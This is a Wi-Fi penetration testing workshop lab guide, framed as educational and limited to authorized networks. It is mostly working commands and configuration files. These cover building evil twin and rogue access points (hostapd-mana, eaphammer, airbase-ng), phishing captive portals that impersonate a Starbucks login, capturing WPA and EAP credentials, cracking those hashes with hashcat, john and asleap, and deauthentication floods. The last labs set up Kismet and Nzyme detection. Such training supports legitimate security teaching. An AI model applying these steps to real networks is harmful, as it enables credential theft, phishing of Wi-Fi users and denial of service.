Workshop Lab Guide

05 July 2026

Do not use the stuff in this guide to do bad things. This information is provided for educational purposes only. Only test against networks you own or you have explicit permission to test against.

If you want to set up a VM on your own, all the tools used in the workshop are listed below.

For recon practice, use your home network.

For Evil Twin testing, you can add a network to your phone. You can add pretty much any type of network to test against. Just make sure you delete it once you are done.

Lab 0: Linux-FU

Task:

Troubleshooting commands

# Common Troubleshooting and Linux Commands
lsusb
iwconfig
iw dev
iw dev wlan# info
iw phy phy# info
iw list 
nmcli device status
rfkill
airmon-ng check kill

# Region
iw reg get
iw reg set US
iw wlan# scan

# Monitor Mode
airmon-ng 
airmon-ng start wlan#

ifconfig wlan# down
iwconfig wlan# mode monitor
ifconfig wlan# up

ip link set wlan# down
iw dev wlan# interface add wlan0mon type monitor
iw dev wlan# set channel #
ip link wlan#mon up
iw dev wlan#mon info

Lab 1: Open AP

Task:

Use airodump-ng or kismet to conduct recon of the in-scope SSIDs
Create an open Evil Twin that is not providing Internet
Create an OWE rogue AP

Tools: Airmon-ng, Airodump-ng, Kismet, Hostapd, Eaphammer, Airbase-ng

Solution - Task 1

SSID

Sweet-B#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Press the 'a' button to filter the stdout display.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Kismet

Kismet will run in the terminal, but the main interface can be accessed from a web browser of your choice. You can run kismet without any arguments and it outputs a kismetdb file. Run it with a -t to give it a specific file name. -c lets you specify the interface on the command line. You don't have to specify the interface on the command line; you can also select it in the GUI.

kismet
kismet -t <filename> 
kismet -c wlan#

In a web browser, navigate to http://localhost:2501. The first-time setup will ask you to configure a username and password.

Once in the GUI, click on the hamburger menu in the top left corner. Select Data Sources -> Select your Card -> Enable

Convert kismet file to pcap:

kismetdb_to_pcap -i <filename> -o <filename.pcap>

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

Hostapd

SSID

Sweet-B#.#

Create a configuration file:

# Create the file 
nano open.conf 

# Enter the following contents (making sure to update the interface number e.g. wlan0 or wlan1):
interface=wlan# 
ssid=<SSID>
hw_mode=b
channel=6
beacon_int=100
country_code=US

Execute the config file with hostapd or hostapd-mana:

hostapd open.conf 

hostapd-mana open.conf

Eaphammer

sudo eaphammer --interface wlan# --essid <SSID> --channel 6 --auth open

Airbase-ng

sudo airbase-ng -e <SSID> -c 10 wlan#

Solution - Task 3

SSID

Sweet-B#.#

Eaphammer

sudo eaphammer --interface wlan# --auth owe --essid <SSID> --pmf enable

Lab 2: Wifiphisher / Captive Portal

Task:

Create a captive portal using wifiphisher
Create a captive portal using wifipumpkin3 (At Home)
Pick a webpage to copy (At Home)

Tools: Wifiphisher, Wifipumpkin3, Wget, Pywebcopy

Solution - Task 1

SSID

Sweet-B#.#

Wifiphisher

Interactive mode:

wifiphisher

All-in-one command. When adding a phishing page, you will need to add it to /usr/lib/python3/dist-packages/wifiphisher/data/phishing-pages/. Then you will need to reinstall wifiphisher.

sudo wifiphisher -aI wlan# -iAM <BSSID mac> -nD -nE -e <SSID> -p starbucks-login

Solution - Task 2

Wifipumpkin3

Wifipumpkin requires an interface that provides internet or it will be problematic. There are some issues with wifipumpkin if you have multiple interfaces up. Try to limit it to one wireless adapter and the interface providing the internet.

ip link set wlan# down

Interactive mode:

wp3

Next, set up the AP. Please note that 5GHz channels will break your setup. ap will show you the properties of the AP. set ssid <SSID> set interface wlan# set channel # set security false

For the captive portals, wp3 calls them captiveflask. First, make sure the captiveflask module is enabled. proxies

If it is not enabled, enable it with: set proxy captiveflask

Assign it a portal to use; there is a list to look through. set captiveflask.DarkLogin true

If you need to fix any IP issues, your rogue AP should not be using the same IP as any other interface or the redirect to the captive portal will fail: dhcpconf

To change, use: dhcpconf #

Now we just need to: start

Solution - Task 3

Wget

wget -r -l2 <website>

Pywebcopy

sudo python3 -m pywebcopy --page --url=<url>

Lab 3: WPA/WPA2 Evil Twin

Task:

Use airodump-ng to conduct recon of the in-scope SSIDs
Create an Evil Twin for a WPA2 network

Tools: Airmon-ng, Airodump-ng, Eaphammer, Hostapd-mana, Airbase-ng, Berate_ap

Solution - Task 1

SSID

Sweet-B-IOT#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

To view EAP messages: eap

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

SSID

Sweet-B-IOT#.#

Eaphammer

sudo eaphammer --interface wlan# -c 6 --auth wpa-psk -e <SSID> --creds

Airbase

First, put the card in monitor mode:

airmon-ng start wlan#
airbase-ng -c 9 -e <SSID> -Z 4 wlan#mon
airodump-ng -c 9 wlan#mon --essid <SSID> -w handshakecapture

Berate_ap

To get berate_ap to work, you will need to open /usr/bin/berate_ap and add a # to the front of line 1855.

nano -l /usr/bin/berate_ap

sudo berate_ap -n wlan# <SSID> <randopassword> --mana-wpa --mana-wpaout <file.hccapx>

Hostapd-Mana

Create a file twin.conf. It doesn't matter what password we use in wpa_passphrase.

# the basic stuff 
interface=wlan#
hw_mode=g 
channel=3 
country_code=US 
ssid=<SSID>
ignore_broadcast_ssid=0 
beacon_int=100

# authentication and security 
wpa=3 
wpa_passphrase=<randopassword> 
wpa_key_mgmt=WPA-PSK 
wpa_pairwise=TKIP CCMP 
rsn_pairwise=CCMP 
auth_algs=1 
macaddr_acl=0 

# Mana stuff 
mana_wpaout=creds.hccapx

Execute the file:

sudo hostapd-mana twin.conf

Lab 4: WPA2 Hash Cracking

Task:

Crack the hashes from Lab 3: WPA/WPA2

Hashes:

# COPY OF HASHES HERE

Tools: Hashcat, Aircrack-ng, John

Wordlists: In your VM:

# Extract the rockyou dict
tar -xvf /home/rogue1/opt/rockyou.tar.gz 

# Extract only words longer than 8 characters
cat /home/rogue1/opt/rockyou.txt | grep '[^ ]\{8\}' > rockyou8Plus.txt

# For a shortcut, download the WIFIGHT-WORDS.rtf file from the Google Drive

Solution - Task 1

Hashcat

Your tools output the old hash format that is no longer supported by Hashcat :'(. The 2500 hash mode is deprecated; now we need to use 22000 to run hashcat. There is a Python script in /home/rogue1/opt/hash/cvt.py that will allow us to convert it.

Once you have converted the hashes, you can go ahead and crack them:

hashcat -m 22000 creds.hccapx <wordlist>

Another method to convert to the correct hashcat format

Once you have the .hccapx file, run:

hcxhash2cap --hccapx=creds.hccapx -c handshake.pcap

Then:

hcxpcapngtool handshake.pcap -o hash.22000

And finally:

hashcat -m 22000 creds.hccapx <wordlist>

Aircrack-ng

Aircrack still works on the legacy -m 2500 formatting, so you don't need to do a conversion unless you plan on popping it into a more powerful cracking utility like hashcat.

aircrack-ng creds.hccapx -e <SSID> -w <wordlist>

John

You can use john like hashcat, or just use its wordlist rules to mangle your dictionary and feed that into aircrack.

john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <SSID> -w - creds.hccapx

Lab 5: EAP Evil Twin

Task:

Use airodump-ng to conduct recon of the in-scope SSIDs
Create a Rogue AP for an EAP network

Tools: Airmon-ng, Airodump-ng, Eaphammer, Hostapd-mana, extract_cert.sh

Solution - Task 1

SSID

Sweet-B-Secure#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

To view EAP messages: eap eap.identity eap.type

To view EAP Server Cert: tls.handshake.type == 11

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

First, you must extract a copy of the client's certificate, because we will be using this for spoofing.

./extract_cert.sh -r <pcap>

Eaphammer

Create a certificate in Eaphammer and then execute the Rogue AP. You will use the values you extracted with extract_cert.sh to populate the questions in Eaphammer's cert wizard.

# Create the certificate
eaphammer --cert-wizard

# Execute Eaphammer using the new cert
cd certs
sudo eaphammer --interface wlan# --negotiate balanced --auth wpa-eap --bssid <BSSID> --essid <SSID>

Hostapd-Mana

Create the eap_user file (you probably want to type this out because spacing can be problematic):

nano hostapd.eap.user

# Phase 1 (outer authentication)
*      PEAP,TTLS,TLS,FAST
"t"    GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5   "t"  [2]

Create the Hostapd-Mana file rogueMana.conf:

# the basic stuff 
interface=wlan#
hw_mode=g 
channel=3 
country_code=US 
ssid=<SSID>
ignore_broadcast_ssid=0 
beacon_int=100 

# authentication and security 
wpa=3 
#wpa_passphrase=password1 
wpa_key_mgmt=WPA-EAP 
wpa_pairwise=TKIP CCMP 
#rsn_pairwise=CCMP 
auth_algs=3 
macaddr_acl=0 

# EAP 
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
server_cert=eaphammer/certs/active/fullchain.pem
private_key=eaphammer/certs/active/fullchain.pem
dh_file=eaphammer/certs/dh

# mana stuff 
#mana_wpaout=test.hccapx
mana_wpe=1
mana_eapsuccess=1
mana_credout=hostapd.creds

Execute the file:

sudo hostapd-mana rogueMana.conf

Lab 6: EAP Hash Cracking

Task:

Crack the hashes from Lab 5: EAP Rogue AP

Tools: Asleap, Hashcat, John

Wordlists: In your VM:

ls /usr/share/wordlists
/home/rogue1/opt/rockyou.txt

For a shortcut, download WIFIGHT-WORDS.rtf from the Google Drive and use that.

Solution - Task 1

Asleap

asleap -C <challenge> -R <response> -W <wordlist>

Hashcat

hashcat -m 5500 -a 0 <hashwiththeusername / file> <wordlist>

John

john --format=netntlm <filewithhash> --wordlist=<wordlist>

Lab 7: Kismet Detections (at home)

Task:

Set up detections on your home network
Set up an evil twin to see the detection
Deauthenticate a client to see the alert

Tools: Kismet, Eaphammer, Airmon-ng, Airodump-ng, Aireplay-ng

Solution - Task 1

To fully run this Lab you will need two wireless cards. Get your home network's BSSID (MAC address) using kismet or airodump-ng.

sudo airmon-ng start wlan#
sudo airodump-ng --band abg wlan#mon

Update the kismet alerts file with your home BSSID:

sudo nano /etc/kismet/kismet_alerts.conf
apspoof=Foo1:ssid="Foobar",validmacs="00:11:22:33:44:55,aa:bb:cc:dd:ee:ff"
apspoof=Foo2:ssid="(?i:foobar)",validmacs="00:11:22:33:44:55"

Monitor the network!

Solution - Task 2

You can use the steps from Lab 1, 3, or 5 to set up your evil twin with your home network SSID.

Solution - Task 3

Deauthentication Flood

aireplay-ng -0 7 -a <BSSID> -c <Station> wlan#mon

Lab 8: Nzyme Setup (at home)

Task:

Set up Nzyme to monitor your home network

Tools: Nzyme

Solution - Task 1

Set up Nzyme and identify your home network as the one to monitor.

Log into Nzyme. Then, on the left-hand side, there are different menu tabs. Go to WiFi -> Monitoring

Once you start typing in the SSID field, Nzyme will suggest an available SSID from what it can see. Nzyme Network Monitoring

Now you can redo the Evil Twin attacks and deauthentication attacks against your network.

← Previous
Getting Started with the VM
Next →
Nzyme Setup Guide